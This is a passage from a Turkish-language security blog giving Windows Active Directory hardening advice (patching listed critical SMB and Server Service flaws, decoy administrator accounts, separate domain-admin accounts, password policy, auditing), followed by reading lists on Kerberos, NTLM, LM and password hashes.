  • Gereksiz paylaşımlar kullanıma kapatılmalıdır. 
  • Açılan paylaşımlardaki izinler sadece erişmesi gerekenlerin ulaşabilmesine olanak verecek şekilde ayarlanmalıdır. Yönetimsel paylaşımlar eğer kullanımları gerekmiyor ise domain politikaları ile kaldırılmalıdır.

Zafiyetler giderilmeli ve sistemler güncellenmelidir.
  • Belli periyotlarla zafiyet taraması gerçekleştirilmelidir.
  • Acil olan zafiyetler gerekiyorsa hemen giderilmelidir.
  • Sistemlere son yamalar geçilmelidir.
  • Zafiyetler için kurum politikası belirlenmelidir.
  • AV, IDS/IPS, ADS gibi sistemlerin imzaları güncel tutulmalıdır.
  • Uzaktan kod çalıştırmaya olanak sağlayan bazı kritik açıklıklar şunlardır:
    • MS09-001 / Critical: Vulnerabilities in SMB Could Allow Remote Code Execution (958687)
    • MS08-067 / Critical: Vulnerability in Server Service Could Allow Remote Code Execution (958644)
    • MS05-051 / Critical: Vulnerabilities in MSDTC and COM+ Could Allow Remote Code Execution (902400)
    • MS06-040 / Critical: Vulnerability in Server Service Could Allow Remote Code Execution (921883)
    • MS05-027 / Critical: Vulnerability in Server Message Block Could Allow Remote Code Execution (896422)
    • MS05-035 / Critical: Vulnerability in Microsoft Word Could Allow Remote Code Execution (903672)
    • MS09-050 / Critical: Vulnerabilities in SMBv2 Could Allow Remote Code Execution (975517)
    • MS08-059 / Critical: Vulnerability in Host Integration Server RPC Service Could Allow Remote Code Execution (956695)
    • MS09-004 / Important: Vulnerability in Microsoft SQL Server Could Allow Remote Code Execution (959420)

İmajların yapılandırılmasına özen gösterilmelidir.
  • Zafiyet taramaları sonucunda elde edilen sonuçlara göre gerekiyorsa imajlar güncellenmelidir.
  • Mevcut sistemlerde gerekli olmayan yerel yönetici kullanıcıları (administrator) devre dışı bırakılmalı ve isimleri her makine için farklı olacak şekilde değiştirilmelidir. Böylece yapılacak saldırıda yerel yönetici hesabının isminin kolayca ve otomatik olarak bulunmasını zorlaştıracaktır. Ayrıca SID değerini kontrol etmeyen saldrgan yanlış yönlendirilecektir. Devre dışı bırakılan Administrator kullanıcısı yerine hakları, izinleri ve grup üyelikleri sınırlandırılmış bir standart kullanıcı oluşturulmalıdır. Oluşturulan bu tuzak yönetici hesabının adı Administrator, tanımı klasik yerel yönetici kullanıcısına ait tanım ("Built-in account for administering the computer/domain") olarak ayarlanmalıdır.Bu kullanıcı kullanılarak saldırgan yanlış yönlendirilebilir. 
    • Parolası olabildiğince uzun (127 karakter olabilir) veriler ve bu hesap devre dışı bırakılabilir.  Saldırganın zaman kaybetmesi sağlanır.
    • Parolası kolayca elde edilebilecek şekilde kısa ayarlanabilir. Daha sonra bu hesap ile bir kez oturum açılarak hesap etkin olarak bırakılabilir. Bu hesap ile yapılan işlemlerin denetim kayıtları tutularak bu hesaplar ile yapılan işlemlerden anlık olarak haberdar olunması sağlanabilir.Böylece muhtemel saldırının önüne de geçilebilir.
  • Kurulan makinelerdeki yerel kullanıcılara ait şifre özetleri, diğer makinelere erişim için kullanılabileceğinden, kurumdaki makinelerde bulunan yerel yönetici şifrelerinin farklı olmasına özen gösterilmelidir.
  • Kurumdaki makinelerin yerel yönetici kullanıcılarına ait şifreler belli periyotlarla manuel olarak değiştirilmelidir. Bu işi saatlik olarak gerçekleştiren araçlar kullanılmalıdır.
  • Yerel yönetici hesaplarının şifreleri, şifre kırma saldırılarına karşı korumak amacıyla karmaşık seçilmelidir.

Domain hakkında bilgi edinilmesi zorlaştırılmalıdır.
  • Kullanıcıların komut satnetırı kullanabilmeleri önlenmelidir.
  • Komut satırından "net", "gpresult" komutu gibi domain hakkında bilgi alınmasını sağlayabilecek komutların kullanılması önlenmelidir. Domain hakkında elde edilebilecek komutların bir kısmı için bakınız: 
  • Domain yöneticileri gibi yetkili kullanıcıların bulundukları grupların adları, dikkat çekmeyecek şekilde değiştirilmelidir.

Son kullanıcılar ve bilgisayarları belli periyotlarla kontrol edilmelidir.
  • Makinelerde yüksek yetkili kullanıcı hakları ile çalıştırılan gereksiz prosesler sonlandırılmalıdır.
  • Makinelere giren kullanıcılar, işlemleri bittikten sonra bilgisayarlarını yeniden başlatmaya (restart) zorlanmalıdır.
  • Domain yöneticileri gibi, önemli gruplardaki kullanıcıların iki tane hesabı olmalıdır. Bu hesaplardan birisi domain üzerinde işlem yapma haklarına sahip oldukları yetkili hesaptır. İkinci hesap ise, domaindeki normal kullanıcılar gibi, yetkisiz hesaptır. Domain yöneticileri yetkili hesaplarını sadece domain işlemlerini yaparken kullanmalıdır, bu hesapla domain controller haricinde gerekmedikçe herhangi bir yere giriş yapılmamalıdır. Farklı sistemlere giriş için yetkisiz / az yetkili hesap kullanılmalıdır. 
  • Önemli gruplarda olan yetkili kullanıcılar bu hesaplarını sadece domaine kullanıcı ekleme, domainden kullanıcı çıkarma, grup politikasını güncelleme gibi işlemler için kullanmalıdır. Domain controller gibi, belli ve sınırlı sayıdaki makinelere bu kullanıcı ile giriş yapılmalıdır.
  • Gereksiz paylaşımlar kullanıma kapatılmalıdır. Dosya sunucularına, domain üzerinde yüksek haklara sahip kullanıcıların hesabı ile girilmemelidir.
  • Domainde etkin olacak servis hesaplarına, sadece gerçekleştirecekleri işlemler için gerekli olan haklar verilmelidir. Bu tür hesapların kullanıcı oluşturma, silme, şifre değiştirme gibi işlemleri veya interaktif oturum açma gibi işlemleri yapmaya hakları olmamalıdır.
  • Dosya sunucularına, domain üzerinde yüksek haklara sahip kullanıcıların hesabı ile girilmemelidir.
  • Yerel yönetici hesapları gibi domaindeki kullanıcıların şifreleri de , şifre kırma saldırılarına karşı korumak amacıyla karmaşık seçilmelidir. Bu amaçla grup politikaları güncellenmelidir.
  • Güvenli şifre politikaları belirlenmelidir. Aşağıdaki ayarlar uygulanabilir:
    • Enforce password history: 5 Şifre
    • Maximum Password Age: 30 Gün
    • Minimum Password Age: 1 Gün
    • Minimum Password Length: 8 Karakter (en az)
    • Passwords must meet complexity requirements: Etkin
    • Store password using reversible encryption: Devre dışı
  • Domaindeki kullanıcılara ilgili makinelerde yönetici hakkı verilmemelidir. Gerekli olan haklar geçici olacak şekilde verilmelidir.
  • Kullanıcılar makinelerinde yönetici hesapları ile oturum açmamalıdır. Yönetimsel operasyon yapılacak ise, “Run as” ile yönetici hesabına geçiş yapılmalıdır.
  • Son kullanıcıların makinelerinde parolaları içeren dosyalar açık halde tutulmamalıdır, şifrelenmelidir.
  • Domaindeki yetkili kullanıcıların biletleri, çıkış yapıldıktan itibaren otomatik olarak silinecek şekilde yapılandırma yapılmalıdır.
  • RDP yapılmamalıdır. Yapılması gerekiyorsa da her erişim sonrası oturumlar kapatılmalıdır (logoff), mümkünse makine yeniden başlatılmalıdır (restart). RDP yapılan hesapların domain üzerinde yetkili olmamasına dikkat edilmelidir.

Audit işlemleri aktif olmalıdır.
  • Yerel makinelerdeki ve domaindeki işlemlerin logları alınmalıdır.
  • Ağdaki anormallik durumları için alarmlar oluşturulmalıdır. Port taramalar engellenmelidir.
  • Domainde kullanıcı oluşturma/silme işlemleri, hak yükseltme/düşürme işlemleri, kullanıcıları gruba ekleme/çıkarma işlemleri,... gözlenmelidir.

6 Ekim 2012 Cumartesi

Okunası Makaleler: Kerberos / NTLM / LM

Kerberos / NTLM / LM Makaleleri

Comparing Windows Kerberos and NTLM Authentication Protocols

Kaynak site:
http://www.windowsitpro.com/article/kerberos/comparing-windows-kerberos-and-ntlm-authentication-protocols

LANMAN Şifre Özetinin Zayıflıkları
Kaynak site:

How I Cracked your Windows Password
Kaynak site:
http://blog.csdn.net/wangjiannuaa/article/details/6741650

NTLM Challenge Response is 100% Broken (Yes, this is still relevant)
Kaynak site:
http://markgamache.blogspot.com/2013/01/ntlm-challenge-response-is-100-broken.html

Kimlik Doğrulama: Kerberos
Kaynak site:
http://ertugrulbasaranoglu.blogspot.com/2013/01/notlar-kerberos.html

Okunası Makaleler: Hash

Hash

How to identify different types of password hashes

Kaynak site: 
http://ubuntuonline.wordpress.com/2012/09/21/how-to-identify-different-types-of-password-hashes/

Kriptografik Özet ve Benzer Dosyaların Ayırt Edilmesi
Kaynak site: 
https://www.bilgiguvenligi.gov.tr/adli-analiz/kriptografik-ozet-ve-benzer-dosyalarin-ayirt-edilmesi.html